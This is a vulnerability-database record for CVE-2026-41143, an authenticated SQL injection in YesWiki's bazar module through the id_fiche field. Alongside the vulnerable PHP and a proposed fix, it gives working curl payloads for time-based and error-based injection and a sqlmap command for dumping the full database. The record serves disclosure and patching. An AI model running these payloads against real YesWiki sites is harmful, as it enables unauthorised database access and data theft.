{"id":"CVE-2026-41143","aliases":[],"url":"https://o3.security/vulnerability/CVE-2026-41143","summary":"YesWiki vulnerable to authenticated SQL Injection via id_fiche in EntryManager::formatDataBeforeSave()","details":"## Vulnerability Details\n\nYesWiki bazar module contains a SQL injection vulnerability in `tools/bazar/services/EntryManager.php` at line 704. The `$data['id_fiche']` value (sourced from `$_POST['id_fiche']`) is concatenated directly into a raw SQL query without any sanitization or parameterization.\n\n**Vulnerable Code (EntryManager.php:704):**\n```php\n$result = $this->dbService->loadSingle(\n    'SELECT MIN(time) as firsttime FROM ' . $this->dbService->prefixTable('pages') .\n    \"WHERE tag='\" . $data['id_fiche'] . \"'\"\n);\n```\n\n**Attack Path:**\n1. Attacker authenticates as any user (route requires `acl:{\"+\"}`)\n2. POST `/api/entries/{formId}` with `id_fiche=' OR SLEEP(3) OR '`\n3. `ApiController::createEntry()` checks `isEntry($_POST['id_fiche'])` → false (not existing entry) → calls `create()`\n4. `create()` → `formatDataBeforeSave()` → SQL injection at line 704\n\n**`dbService->loadSingle()` passes raw string to `mysqli_query()` with no escaping. The `escape()` method exists but is NOT called here.**\n\n**Docker PoC confirmation:**\n- Normal query: `SELECT MIN(time) as firsttime FROM wiki_pages WHERE tag='TestEntry'` → `2024-01-01 00:00:00`\n- Injected: `WHERE tag='' OR SLEEP(3) OR ''` → **elapsed: 3.00s (SLEEP confirmed)**\n- Time-based blind SQLi enables full database dump via binary search\n\n## Steps to Reproduce\n\n**Prerequisites:** Any authenticated user account on a YesWiki instance with a bazar form (id_typeannonce) created.\n\n**Step 1 – Obtain session cookie** (standard login via web UI or API)\n\n**Step 2 – Time-based blind SQLi (confirm vulnerability):**\n```bash\ncurl -s -X POST 'http://TARGET/?api/entries/1' \\\n  -H 'Cookie: wikini_session=<SESSION>' \\\n  -d \"antispam=1&bf_titre=TestTitle&id_fiche=' OR SLEEP(3) OR '\"\n```\n→ Response delays ~3 seconds confirming SQL injection.\n\n**Step 3 – Error-based SQLi (version exfil):**\n```bash\ncurl -s -X POST 'http://TARGET/?api/entries/1' \\\n  -H 'Cookie: wikini_session=<SESSION>' \\\n  -d \"antispam=1&bf_titre=TestTitle&id_fiche=' AND extractvalue(1,concat(0x7e,@@version))-- -\"\n```\n→ Returns MySQL version in XPATH error: `XPATH syntax error: '~8.4.8'`\n\n**Step 4 – Full dump via sqlmap:**\n```bash\nsqlmap -u 'http://TARGET/?api/entries/1' \\\n  --data \"antispam=1&bf_titre=T&id_fiche=test\" \\\n  -p id_fiche --cookie \"wikini_session=<SESSION>\" \\\n  --dbms=MySQL --technique=BET --level=2\n```\n\n## Docker PoC Output (confirmed)\n```\n[STEP 1] Normal input: Result (2024-01-01 00:00:00)\n[STEP 2] id_fiche=' OR SLEEP(3) OR '  → Elapsed: 3.00s ← SLEEP(3) CONFIRMED\n[STEP 3] id_fiche=' AND extractvalue(1,concat(0x7e,@@version))-- -\n         DB_ERROR: (1105, \"XPATH syntax error: '~8.4.8'\")\n```\n\n## Root Cause\n\nIn `tools/bazar/services/EntryManager.php` line 704:\n```php\n$result = $this->dbService->loadSingle(\n    'SELECT MIN(time) as firsttime FROM ' . $this->dbService->prefixTable('pages') .\n    \"WHERE tag='\" . $data['id_fiche'] . \"'\"\n);\n```\n`$data['id_fiche']` comes from `$_POST['id_fiche']` (user input). `DbService::escape()` exists but is **not called** here. `loadSingle()` passes the raw string directly to `mysqli_query()`.\n\n## Proposed Fix\n\nReplace the vulnerable line with parameterized query or call `$this->dbService->escape()`:\n```php\n$tag = $this->dbService->escape($data['id_fiche']);\n$result = $this->dbService->loadSingle(\n    'SELECT MIN(time) as firsttime FROM ' . $this->dbService->prefixTable('pages') .\n    \"WHERE tag='\" . $tag . \"'\"\n);\n```\n\n## PoC Screenshot\n\n![PoC: SLEEP(3) confirmed + MySQL version exfil](https://raw.githubusercontent.com/n0z0/cve-evidence/main/2026-04/20260401_133905_2bc5340f9be9_yeswiki_sqli_sleep3_confirmed_20260401_133745.png)","published":"2026-04-18T01:00:30Z","modified":"2026-05-08T20:16:28.325597Z","cvss":{"score":8.8,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"},"epss":{"score":0.00342,"percentile":0.27095,"asOf":"2026-08-13"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Packagist","name":"yeswiki/yeswiki","fixedVersion":"4.6.1"}],"fix":null,"references":[{"type":"WEB","url":"https://github.com/YesWiki/yeswiki/security/advisories/GHSA-f58v-p6j9-24c2"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41143"},{"type":"PACKAGE","url":"https://github.com/YesWiki/yeswiki"},{"type":"WEB","url":"https://github.com/YesWiki/yeswiki/releases/tag/v4.6.1"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-05-08T20:16:28.325597Z"}}